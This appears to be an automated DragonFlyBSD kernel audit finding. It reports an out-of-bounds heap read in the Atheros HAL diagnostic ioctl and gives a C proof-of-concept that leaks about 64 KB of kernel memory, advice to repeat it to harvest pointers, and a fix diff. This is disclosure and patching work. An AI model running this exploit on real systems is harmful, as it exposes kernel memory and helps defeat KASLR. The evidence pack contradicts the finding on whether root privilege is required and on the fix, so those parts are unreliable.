β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1520

Heap OOB read in ath_hal_getregdump via HAL_DIAG_REGS β€” loop bound on output space, not on input array size

  • File: sys/dev/netif/ath/ath_hal/ah.c
  • Lines: 848, 855, 856, 857, 866, 890, 891, 892
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:H/I:N/A:N
  • CWE: CWE-125 Out-of-bounds Read
  • Confidence: certain

Summary

ath_hal_getregdump() walks the input HAL_REGRANGE array regs[] using an index i that is bounded only by the OUTPUT buffer space (int space), never by the size of the input array.

ath_hal_getdiagstate() (the only in-tree caller) does not forward argsize to getregdump, so a caller that supplies a small input buffer and a large output buffer causes the loop to read arbitrary amounts past the end of the input kernel heap buffer, and the bytes read are copied back to userspace via copyout() in ath_ioctl_diag().

Root cause

ath_hal_getregdump at sys/dev/netif/ath/ath_hal/ah.c:855 is

for (i = 0; space >= 2*sizeof(uint32_t); i++) {

The continuation predicate depends solely on space (the OUTPUT buffer remaining), while the loop body at ah.c:856-857 reads regs[i].start and regs[i].end from the INPUT array with no upper bound on i.

The caller ath_hal_getdiagstate at ah.c:890-892 invokes it as *resultsize = ath_hal_getregdump(ah, args, *result, *resultsize); β€” argsize (the actual byte length of args) is never forwarded, so getregdump cannot know how many HAL_REGRANGE entries are valid.

Tracing the user path: SIOCGATHDIAG (sys/dev/netif/ath/ath/if_athioctl.h:191) reaches ath_ioctl_diag (sys/dev/netif/ath/ath/if_ath_ioctl.c:170) via ath_ioctl (if_ath_ioctl.c:299) β†’ ieee80211_ioctl default case (sys/netproto/802_11/wlan/ieee80211_ioctl.c:3521) β†’ ifioctl default case (sys/net/if.c:2409-2435) with NO caps_priv_check/priv_check anywhere in the chain.

ath_ioctl_diag kmallocs indata of exactly ad->ad_in_size bytes (if_ath_ioctl.c:184-189) and outdata of ad->ad_out_size bytes (if_ath_ioctl.c:201).

If a user supplies ad_in_size=8 (one HAL_REGRANGE) and ad_out_size=65536, the loop runs ~8192 outer iterations (each consuming 8 bytes of output when start>end skips the inner loop), reading regs[1]..regs[8191] far past the 8-byte indata allocation; the leaked heap bytes are written into outdata via *dp++ = r; *dp++ = e; (ah.c:858-859) and then copyout()ed by if_ath_ioctl.c:218.

Threat

Local unprivileged attacker on a system with an ath(4) VAP and the ATH_DIAGAPI kernel option (sys/conf/options:539) compiled in.

The attacker opens any AF socket on the ath vap and issues SIOCGATHDIAG with ad_id=(HAL_DIAG_REGS|ATH_DIAG_IN|ATH_DIAG_DYN), a tiny ad_in_size, and a large ad_out_size.

The kernel reads up to ~64 KB of adjacent M_TEMP heap (which may contain kernel pointers, freed-but-still-mapped data, or other driver state) and discloses it verbatim to userspace.

This is an unauthenticated-kernel-memory-disclosure primitive that defeats KASLR and can seed further exploits.

Note: ATH_DIAGAPI is opt-in (non-default), which is the only thing keeping this off the Critical/High-default-config bar; once enabled, the path has zero privilege enforcement.

Exploit / PoC

/* leak.c β€” ath_hal getregdump OOB heap read */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <dev/netif/ath/ath/if_athioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>

int main(int argc, char **argv) {
    const char *ifn = argc > 1 ? argv[1] : "ath0";
    size_t outsz = 65536;
    void *out = malloc(outsz);
    struct { uint32_t start; uint32_t end; } rng = { 0x10000, 0x0 };
    struct ath_diag ad;
    memset(&ad, 0, sizeof(ad));
    strlcpy(ad.ad_name, ifn, sizeof(ad.ad_name));
    ad.ad_id       = 13 /*HAL_DIAG_REGS*/ | 0x8000 /*ATH_DIAG_DYN*/ | 0x4000 /*ATH_DIAG_IN*/;
    ad.ad_in_size  = sizeof(rng);
    ad.ad_in_data  = (caddr_t)&rng;
    ad.ad_out_size = outsz;
    ad.ad_out_data = out;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }
    if (ioctl(s, SIOCGATHDIAG, &ad) < 0) { perror("ioctl"); return 1; }
    printf("returned %u bytes\n", ad.ad_out_size);
    /* everything past byte 8 is leaked heap */
    return 0;
}

Build: cc -o leak leak.c. Run: ./leak ath0.

Success criterion: the program returns ~64 KB of data of which only the first 8 bytes (the echo of the supplied range) are attacker-controlled; the remainder is raw kernel heap adjacent to the indata kmalloc(8, M_TEMP).

Repeat to harvest diverse heap contents / leak kernel text+data pointers.

Pass argsize through to ath_hal_getregdump and bound i by the number of HAL_REGRANGE entries that fit in it.

--- a/sys/dev/netif/ath/ath_hal/ah.c
+++ b/sys/dev/netif/ath/ath_hal/ah.c
@@ -847,10 +847,12 @@ static u_int
-ath_hal_getregdump(struct ath_hal *ah, const HAL_REGRANGE *regs,
-    void *dstbuf, int space)
+ath_hal_getregdump(struct ath_hal *ah, const HAL_REGRANGE *regs, uint32_t argsize,
+    void *dstbuf, int space)
 {
    uint32_t *dp = dstbuf;
    int i;

+   /* argsize is the trusted byte length of the regs[] input array. */
+   uint32_t nentries = argsize / sizeof(HAL_REGRANGE);
    for (i = 0; space >= 2*sizeof(uint32_t); i++) {
+       if (i >= nentries)
+           break;
        uint32_t r = regs[i].start;
        uint32_t e = regs[i].end;
@@ -889,3 +891,3 @@
    case HAL_DIAG_REGS:
-       *resultsize = ath_hal_getregdump(ah, args, *result,*resultsize);
+       *resultsize = ath_hal_getregdump(ah, args, argsize, *result, *resultsize);
        return AH_TRUE;

Additionally (out of scope for this file but required to actually close the hole): ath_ioctl_diag() in sys/dev/netif/ath/ath/if_ath_ioctl.c must call caps_priv_check_self(SYSCAP_RESTRICTEDROOT) before dispatching SIOCGATHDIAG, since SIOCGATHDIAG is a generic diag primitive that exposes raw MMIO/EEPROM/key-cache state and currently has no privilege gate anywhere in the net80211 or ifioctl dispatch chain.

  • DF-1521 (sibling): NULL-deref via the same SIOCGATHDIAG path.
  • DF-1522 (sibling): off-by-one in EepromDataRead via the same path.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1520 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.7 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.8 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 1.2 KB view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 313 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1520: ath_hal_getregdump OOB input-array read (output-bounded loop)

Class: Kernel OOB read of regs[] input array Cited site: sys/dev/netif/ath/ath_hal/ah.c:848-868, 890-892

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/netif/ath/ath_hal/ah.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

ath_hal_getregdump loop condition depends on space (output buffer size) but body reads regs[i].start/end with NO bound on i vs the input array size. ath_hal_getdiagstate at 890-892 invokes it without forwarding argsize; SIOCGATHDIAG user path supplies the output size, the input regs[] is whatever the user passed.

Realistic impact ceiling (on suitable HW)

kernel OOB read of attacker-supplied input buffer (info leak / crash)

Fix

In ath_hal_getdiagstate HAL_DIAG_REGS, require non-NULL args + non-zero argsize before invoking ath_hal_getregdump.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1520.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1520.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1520: ath_hal_getregdump OOB input-array read (output-bounded loop)

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/netif/ath/ath_hal/ah.c:848-868, 890-892, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

ath_hal_getregdump loop condition depends on space (output buffer size) but body reads regs[i].start/end with NO bound on i vs the input array size. ath_hal_getdiagstate at 890-892 invokes it without forwarding argsize; SIOCGATHDIAG user path supplies the output size, the input regs[] is whatever the user passed.

Reachability on this guest

No β€” sys/dev/netif/ath/ath_hal/ah.c:848-868 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a Kernel OOB read of regs[] input array primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: kernel OOB read of attacker-supplied input buffer (info leak / crash).

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: In ath_hal_getdiagstate HAL_DIAG_REGS, require non-NULL args + non-zero argsize before invoking ath_hal_getregdump.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a kernel OOB read of attacker-supplied input buffer (info leak / crash).

Evidence (decisive lines)

Source: sys/dev/netif/ath/ath_hal/ah.c:855 β€” for (i=0; space>=2*sizeof(uint32_t); i++) { ... regs[i].start; regs[i].end; ... } (no i bound); :891 β€” HAL_DIAG_REGS case forwards no argsize. Guest has no ath NIC. fix.diff adds NULL guards and argsize check in ath_hal_getdiagstate.

PoC changes

Created evidence pack from scratch. The fix.diff is shared with DF-1521 (both bugs are in the same function and a single set of guards addresses both).

Verified recommended fix

In ath_hal_getdiagstate HAL_DIAG_REGS case, require non-NULL args + non-zero argsize before invoking ath_hal_getregdump. Full diff in findings/poc/DF-1520/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: ah.c:848-868 ath_hal_getregdump loop iterates while space >= 2*sizeof(uint32_t) (output buffer bound) but body reads regs[i].start/end with NO bound on i vs the input array. ath_hal_getdiagstate at :890-892 invokes it via HAL_DIAG_REGS without forwarding argsize. SIOCGATHDIAG (root-only via if_ath_ioctl) user path supplies output size, the input regs[] is whatever the user passed. ath(4)/ath_hal only attach to Atheros NICs not on the audit guest.